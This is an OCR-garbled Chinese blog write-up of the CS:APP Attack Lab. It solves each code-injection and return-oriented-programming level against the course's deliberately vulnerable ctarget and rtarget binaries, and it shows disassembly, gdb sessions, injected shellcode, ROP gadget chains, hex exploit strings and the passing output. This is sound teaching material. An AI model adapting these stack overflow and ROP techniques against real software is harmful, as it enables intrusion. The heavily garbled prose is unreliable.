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level 1

NEB AR, HHE—E2Kctarget s R IC % 7 Hi K .

objdump -d ctarget > c.txt

Wb 25 H ) R AR
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned ©x%xn", val);
}

void touchl() {
vlevel = 1;
printf("Touch!: You called touchl()n");
validate(1);
exit(o0);

AV B REFEF HATctarget R A H 5L

leyn@leyn-ThinkPad-X230:~/csapplab/targetl$ ./ctarget -q
Cookie: @x59b997fa

Type string:1234

No exploit. Getbuf returned ox1

Normal return

EBBRAEHAT ctargetie 7 K IR BOA R E R Blemulf iR 5588, ERBATAZcmuly 48 BT UEAR iR 5545 th it
TEPATRIG, BroASAT RRHEZE Ny 1T 280 -q LB ERBIRSSH1T 8. XEBEERT AT, #®
.

ctarget IR FE Kt 2 i iTtesti B, REMAFZR B . X Hlevel 1HIE R A Htouch1 K RIT . & Fctarget
Hgetbufif 8 R IC Y -

00000000004017a8 <getbuf>:

4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callg 401240 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq

4017be: 90 nop

4017bf: 90 nop

& BgetbufJFRE T 40 F WM ZE, EHZ— FHRMARTR, XEEHAEEENEEROERL,



RS

O
IEEE —— %rsp + 24
—— %rsp + 16
echo AYfEin —— %rsp + 8

7[6]s[a]3]2]1]0|— buf=%rsp

XA echol BTk 7247 AR H, REBEFMH/ BHEXK8TFIWHEA, HIoESTIT AR LREMERA, H
RFMANBE2371, M AR RNR T HARE L. XERMKRITRE 740N FHHTE, RER
AT 75 B K i A 3 B3R [ ik 78 = R R AT AR Z B IR B ik B AT . E & touch 1 i I 4

00000000004017c0 <touchl>:

4017c0O: 48 83 ec 08 sub $0x8,%rsp

4017c4: c7 05 @e 2d 20 00 01 movl  $0x1,0x202d@e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00

4017ce: bf c5 30 40 00 mov $0x4030c5, %edi

4017d3: e8 e8 f4 ff ff callg 400cco <puts@plt>

4017d8: bf 01 00 00 00 mov $0x1,%edi

4017dd: e8 ab 04 00 00 callg 401c8d <validate>

4017e2: bf 00 00 00 00 mov $0x0, %edi

4017e7: e8 54 f6 ff ff callg 400e40 <exit@plt>

K touch1 i & #ihk & 0x4017¢0, EBBAVX BEM Mk, BIRIAK 7478 BEMc0 17 405X K, FHREHI40
TR REEH A TR . BERATAT CURAGX A

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
co 17 40

EF—T&R

leyn@leyn-ThinkPad-X230:~/csapplab/targetl$ ./hex2raw < 11.txt | ./ctarget -q
Cookie: @x59b997fa
Type string:Touchl!: You called touchl()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:Oxffffffff:ctarget:1:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
leyn@leyn-ThinkPad-X230:~/csapplab/targetl$

PR F R BRI



BATATME A E BN, HRXwk, ZEmSH-q. BERI.

level 2

test
EaEEsting

getbuf AItE

T touch2 I ARES Al I I 4 5

void touch2(unsigned val){
vlevel = 2;

if (val == cookie){

printf("Touch2!:

validate(2);
} else {

printf("Misfire:
fail(2);

}

exit(o0);

AL %

00000000004017ec <touch2>:
83 ec 08

4017ec:
4017f0:
4017F2:
4017f9:
4017fc:
401802:
401804 :
401809:
40180e:
401813:
401818:
40181d:
401822:
401824 :
401829:
40182e:
401833:
401838:
40183d:
401842:
401847

48
89
c7
00
3b
75
be
bf
b8
e8
bf
e8
eb
be
bf
b8
e8
bf
e8
bf
e8

fa
05
00
3d
20
e8
o1
00
ds
02
6b
le
10
01
00
b8
02
od
00
f4

eo
00
e2

30
00
00
f5
00
04

31
00
00
5
00
05
00
5

2C

2C

40
00
00
£f
00
00

40
00
00
£f
00
00
00
£f

20 00 02

20 00

00
00
00
£f
00
00

00
00
00
£f
00
00
00
£f

Lir]

sub
mov
mov1l

cmp
jne
mov
mov
mov
callq
mov
callqg
Jmp
mov
mov
mov
callqg
mov
callqg
mov
callqg

You called touch2(@x%.8x)n", val);

You called touch2(ex%.8x)n", val);

$0x8,%rsp
%edi, %edx
$0x2,0x202ce0(%rip)

0x202ce2(%rip),%edi
401824 <touch2+0x38>
$0x4030e8, %esi

$0x1, %edi

$0x0, %eax

400df0 <__ printf_chk@plt>
$0x2,%edi

401c8d <validate>

401842 <touch2+0x56>
$0x403110, %esi

$0x1,%edi

$0x0, %eax

400df0 <__ printf_chk@plt>
$0x2,%edi

401d4f <fail>

$0x0,%edi

400e40 <exit@plt>

0x00000000004017c0  |-—— iEEHEHE
0x0000000000000000  —— gy5p + 32
0x0000000000000000  {<—— g4rsp + 24

0x0000000000000000 |€—— orsp + 16
0x0000000000000000  |—— 9rsp + 8
0x0000000000000000  |«——  %rsp

# 6044dc <vlevel>

# 6044e4 <cookie>



REERZ—FR, AHtouch2Bpizh. FATE Mtouch2fE T — /N8, XS HUE W R % T cookie 15wt Ih
cookie I8 7E 45 5E B SCfkcookie txt A, R KIcookie20x59b997fa.

EMZ—TF, RBHBE-NSERE %rdi FFaEREH, XERMNERPRERBMAFRH, FEEMILRKES
K. RARRBUEEEIT

o W IEH HIR B Huhk 3 B BRONIE RIS bl , XRIEANEBEERTUEN, BIEE A %rsp

e cookiel{E 5 7E %rdi &

e FREtouch2f B ik, XANBEET

o ZEifHtouch2, I AgEMHcalljmp&an4, FrCARGEMHret#e, 7E3H 2 B E fifitouch2th bt E4% .

BN ERATHIC 9w AXAD R

movq $0x59b997fa, %rdi
pushq ©x4017ec
ret

AT EmFEERELRICH

linux> gcc -c 12.s
linux> objdump -d 12.0

Disassembly of section .text:

0000000000000 <.text>:
0: 48 c7 c7 fa 97 69 59 mov $0x596997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq

REFARSMBERATIAE T, MERSAT RICH G0 H ) — K& N6 BT, BERNELK Y%orspEE, B
gdb.

(gdb) break *@x4017ac

Breakpoint 1 at ©x4@17ac: file buf.c, line 14.

(gdb) run -q

Starting program: /home/leyn/csapplab/targetl/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:14
14 buf.c: BHEIBASCHHEFR.

(gdb) info registers

VL1

rsp 0x5561dc78 ©x5561dc78
V-1

B 2|%rspitilt, REBEATREHE T, FHF 8 EAGSHIE—TFE 7 /F——R [E ik



48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
78 dc 61 55 00 00 00 00

IINZY

leyn@leyn-ThinkPad-X23@:~/csapplab/targetl$ ./hex2raw < lev2.txt | ./ctarget -q
Cookie: @x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:Oxffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 33 33 33 33 33 33 33 33 33 33 33

BRI AR AT

test
AT
%rsp ~— jE[EikhE
ret
bu fA RS pushg 0x4017ec
movg $0x59b997fa, %ordi Yarsp = 0x5561dc78

level 3

_ktouch3f1hexmatchft g

void touch3(char *sval){

vlevel = 3;

if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3("%s")n", sval);
validate(3);

} else {
printf("Misfire: You called touch3("%s")n", sval);
fail(3);

}

exit(o0);

int hexmatch(unsigned val, char *sval){
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;



e R ZE R Mtouch3, SHIEARKRZ, XREHNSHER —AFRH, FRRENIHAT BBk
P, AIRE R "59b997fa" XN FE R &

writeup 45 T JIAN R :

o HCIEEHTFRERUIER, FIUEZREFINERLE—NFTHO0
e man ascii AIULAREFZENFZHFH16HEHIRR

o HifAnhexmatchMstrnempht, MIISEEIREANBIRF, FURESELZgetbut RMMEIE, FrUME#EZFZ/REN
L B AN E R

XRE E—RKRKX AR EZ T — A EH, hexmatchtt JFBE T 110FE TR D, strnecmptB&FFREZSE], HR£
BMARRERE, *sEBIHMLZFENLE, WRBRAITEEIEBAEgetbuffiR 2 A1 BT, 1RA 7T BEsii X BN ek 4
cover 7 . FTUARMTEIEFIE M| — M ZEMRTHE, XERMEBRRE D EtestI AR =R E . gdbE—
Ttesti = [ Hibk .

(gdb) break *@x40196cC

Breakpoint 1 at ©x40196¢c: file visible.c, line 92.

(gdb) run -q

Starting program: /home/leyn/csapplab/targetl/ctarget -q
Cookie: @x59b997fa

Breakpoint 1, test () at visible.c:92
92 visible.c: BHEBANUHEHEF.

(gdb) info r rsp
rsp Ox5561dca8 ©x5561dca8

2 T testiyt A Mubk . Fir DUAR R B RBOR::

o cookie® 1k 1633k
o WEHEEIFASEE S NtesttR 2 H, B iZHbhEE S| %rdit
o Htouch3 & Huht 42 Fret

T4 ARRS

movq $0x5561dca8, %rdi
pushq 0x4018fa
ret

mEEE

linux> gcc -c 13.s
linux> objdump -d 13.0

Disassembly of section .text:
00000000000V <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi

7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq

{5 Fiman asciifiy 415 £l cookie i+ 7~ i3t il



35 39 62 39 39 37 66 61 00

B 5 3

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

Mk

leyn@leyn-ThinkPad-X230:~/csapplab/targetl$ ./hex2raw < 13.txt | ./ctarget -q
Cookie: @x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:Oxffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 PO 00 00 00 00

BRI AR B T

tast 0x0 0x5561ldcaB
AOtet 0x3539623939376661 GJ: e RREE
%rsp — & [Olthi
btk s
pushg 0Ox4018fa
movg $0x5561dca8, %rdi %rsp = 0x5561dcT8

Part ll: Return-Oriented Programming

FAI% B rtarget IC 4w SO 77 H R

objdump -d rtarget > r.txt

X B Fwriteup B I+ 440, B4 H T mov pop ret noptE4HIFHiBER, RECOEWiteup EFEXAANKT, B
— i P 2 8 34 BA /6 4 F1 F gadgets i



Stack

______..-) Gadget n code | c3

I Gadget 2 code | c3

%rsp —

‘_h-\'* Gadget | code | c3

Figure 2: Setting up sequence of gadgets for execution. Byte value 0xc3 encodes the ret iasiicton.

FEROPY i & B T ARBENLL, BT ARATA AR ATTH = A — R e AL B H s bk  NARAD . T e BGE, 34T
BECASENABTRIGENE LTI, XEFFILirets R, ALK L A<M fiigadget.

@*Fﬁgadget@@*%ﬁﬂ?ﬁé?qﬁ, MmHAUret& R, BB T—A gadget, BIXEEE S PAT — R I TR
ARG, NEFERS L. B iR

void setval_21@(unsigned *p)

{
*p = 3347663060U;

}

RIC4 515 2 E 427 W 5 g

0000000000400f15 <setval 210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4, (%rdi)
400f1b: c3 retq

RAEBATHAT DA CEFERER, MW ERBCLERNES, XEK 48 89 c7lZmov Y%rax , %rdi K4
i, Hiihk#E 0x400f18.

R EHfarm.cii g4 F 3k

gcc -c -0g farm.c
objdump -d farm.o > f.d

XEHAN, HwIFERREEM-OgiETi, R4 K H stack frame pointer, Tirtarget® 2 &F HiZ g4
1, DIEFERSHLSBER.

level 2

phase4 ) E Kk fliphase2—#£, A Mtouch2. HEH TFtouch2iI{ S5 EE



void touch2(unsigned val){
vlevel = 2;

if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)n", val);
validate(2);

} else {
printf("Misfire: You called touch2(0x%.8x)n", val);
fail(2);

}

exit(0);

T _EFATTAT P 2 ) gadget

0000000000000OO <start_farm>:
0: b8 01 00 00 00 mov $0x1, %eax
5: c3 retq

0000000000000006 <getval 142>:
6: b8 fb 78 90 90 mov $0x909078fb, %eax
b: c3 retq

000000000000000C <addval_273>:
c: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
12: c3 retq

0000000000000013 <addval_219>:
13: 8d 87 51 73 58 90 lea -ox6fa78caf(%rdi),%eax
19: c3 retq

000000000000 1a <setval 237>:
la: c7 07 48 89 c7 c7 movl  $0xc7c78948, (%rdi)
20: c3 retq

0000000000000021 <setval_424>:
21: c7 07 54 c2 58 92 movl  $0x9258c254, (%rdi)
27: c3 retq

0000000000028 <setval 470>:
28: c7 07 63 48 8d c7 movl  $0xc78d4863, (%rdi)
2e: c3 retq

0000000000000 2f <setval 426>:
2f: c7 07 48 89 c7 990 movl  $0x90c78948, (%rdi)
35: c3 retq

0000000000036 <getval_ 280>:
36: b8 29 58 90 c3 mov $0xc3905829, %eax
3b: c3 retq

0000000000003 Cc <mid_farm>:
3c: b8 01 00 00 00 mov $0x1,%eax
41: c3 retq



WL BATHI IR AR 2 BT —FE, Krcookieli#t B %rdi, IEtouch2f i B, Plret$hiT. WriteupiRr, &
1% F f1gadget2 MstartfarmB midfarmz [a1 1, FH R FBEFHA . 4E&RMZ Aphase2fififiE:, Bl FE—
Amovir & RILSH, R —NEERRHZpopin 4T, popo BTN cookie# B 54— A FF 7 4%, BH
movir 25 F|%rdi B . EmovAlpop ) 3 g i 2= U5 H

movag &, [
| Source Destination [J
5 frax Frox Erdx frbx trsp trbp Frsi trdi

| %rax 48 B9 cO | 48 BS cl | 458 B9 c2 | 48 B9 c3 | 48 89 c4 | 48 B89 c5 | 4B 89 c& | 4B B9 c7
brex |48 B9 cB | 48 B9 ¢9 | 48 8% ca | 48 89 ¢cb | 48 89 cc | 48 B9 od | 4B B89 ce | 48 B8O cf
Srdx 48 B9 40 | 48 B9 d1 | 48 B9 42 | 48 B9 d3 | 48 89 d4 | 48 B9 45 | 4B B9 d6 | 4B B9 47
Y¥rbx 49 B9 4B | 48 B9 d9 | 48 B9 da | 48 B9 db | 48 89 dc | 48 89 dd | 4B 89 de | 4B B9 df
¥rsp 449 B9 20 | 48 B9 el | 48 B9 =22 | 48 B9 =3 | 48 89 =4 | 48 B89 &5 | 4B B89 et | 4B B9 &7
%rbp 43 B9 8B | 48 B9 e9 | 48 B9 ea | 48 B89 eb | 48 39 ec | 48 8% ed | 48 BY ee | 4B B9 ef
%rsi 43 B9 f0 | 48 B9 f1 | 48 B9 f2 | 48 B9 f3 | 4B 89 f4 | 458 89 f5 | 4B 89 f6 | 4B BS f7
(rdi | 48 69 £8 | 48 B89 £9 | 48 B9 fa | 48 B9 fb | 48 899 fc | 48 8% fd | 48 89 fe | 4B B9 ff

B. Encodings of popg instructions

Operation Register i et —
%rax | 3rcx | 3rdx | 3rbx | $rsp | ¥rbp | 3rsi | Soeh o LTV O]
popg R 58 59 S5a b | Sc sd Se SE

FlfarmBE — M5, $RF T pop Yraxi1584m AL M48 89 c7imov %rax, Yordigwtid. BA1iX Bik#E4, addval 219
{E Apopkifarm, addval 2731 smovififarm. iXEIB T —/ sbij4h, farmA2ATHAT XM, A REfEfarmE 1yt
W5 kX Efertarget 2R

00000000004019a0 <addval 273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi), %eax
4019a6: c3 retq

00000000004019a7 <addval 219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi), %eax
4019ad: c3 retq

movF B MOx0x4019a2FF 45, popMOx4019abFFis. FoAllwE B QD 2 iX

popq %rax
movq %rax,%rdi

FERE R

touch2 ——— touch2f0EEsA it
t'-f“t movg  Jerax, Jordi
ROtR cookie
popg %erax — jR[Eihht
bufgIEin

Mk



leyn@leyn-ThinkPad-X23@:~/csapplab/targetl$ ./hex2raw < p4.txt | ./rtarget -q
Cookie: @x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:Oxffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 0O 00 OO 00 0O 00 00 00 00 PO 00 00 00 00

B
level 3

Extrask R Z Kt 2 2| Fphase3—#£. 7] LLHfarmE §) B gadgets, official solutionZ84~/h T H . touch34%
(Y I

void touch3(char *sval){

vlevel = 3;

if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3("%s")n", sval);
validate(3);

} else {
printf("Misfire: You called touch3("%s")n", sval);
fail(3);

}

exit(o0);

int hexmatch(unsigned val, char *sval){
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;

St cookie’® iasciifd, & J5 B =1i00.

35 39 62 39 39 37 66 61 00

Gy

o FEAJTRE TARFENLIL, FrUCAREEEIBAMEE AR gxs bk, WA —EA4E, BATH R e %rsp.

o [HAtouch3&TFRE—AMR K Hbuffsize, HIEHIEERouch3 FHIIARD ], BRNEZEEAMSHES, UERLEHE
touch3f 5 Btk &b BT AELLE Yorsp L in—ANbiasA AT BA, B4 &8 itk & %rsp + bias.

o BRABEKMEIES, MREKPHNFESLAM, KE—ABAETE

0000000000000042 <add_xy>:
42: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
46: c3 retq

SEPL T Y%rax = %rdi + %rsi



it AR AR Bt 2 -

2 %rsp B 1R Ta £ Huhk B B Yordi

& Fl|bias K EH L E] %rsi

FlFadd xy, EFRIEE bt fbiasiniE KK 2| %rax, FHiE 2 %rdi
1 Ftouch3

TR ZAKEHM T E C&ERE, biasHEHIMNIE T

0x0

0x35396239396661 - R
touch3

movqg %erax, %erdi

lea (%erdi,%arsi, 1), %erax

movl %eecx, Teesi

test <
RO movl %edx, %ecx

movl %heax, %edx

0x48

popq Yerax

movg  %rax, %rdi

movqg  %rsp, %hrax -— E[EihE

bufgEi

biasi{E £ iXH: 7] LUE BIFEIR B b FI =75 B B bk 2 (A F 9% 482, AN 4E281 byte, H72bytethshi 2
0x48. TR AT LA B B A& 1 745 5 -

00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 la 40 00 00 00 00 00

a2 19 40 00 00 00 00 00

cc 19 40 00 00 00 00 00

48 00 00 00 00 00 00 00

dd 19 40 00 00 00 00 00

70 la 40 00 00 00 00 00

13 1a 40 00 00 00 00 00

dé 19 40 00 00 00 00 00

a2 19 40 00 00 00 00 00

fa 18 40 00 00 00 00 00

35 39 62 39 39 37 66 61 00

Mk



leyn@leyn-ThinkPad-X23@:~/csapplab/targetl$ ./hex2raw < n5.txt | ./rtarget -q
Cookie: @x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:Oxffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 0O 0O OO 00 0O 00 00 00 00 PO 00 00 00 00

BT o

kkkkkkhkkhkkkhkhkhkhkhkhkhkhkhxhx

% jhattack labBLER LR T, AEARXNMabBLMRAE RS, gdb KEEMELMEE. FHIRS %S Hlab, £
1 2[R B ik 4T MLAIDL/K 18 3CiE A topdown ) labit 5 6.828,  firbhcsapp REMR M. BFXBRNEEH, &
A RERREIREAZETENT .

=%
CSAPP:Attack lab
& fEattack lab
AR



	.cs是什么文件_CS:APP实验之attacklab
	实验环境
	预备内容
	实验说明
	Part I ：Code Injection Attacks
	level 1
	level 2
	level 3

	Part II：Return-Oriented Programming
	level 2
	level 3



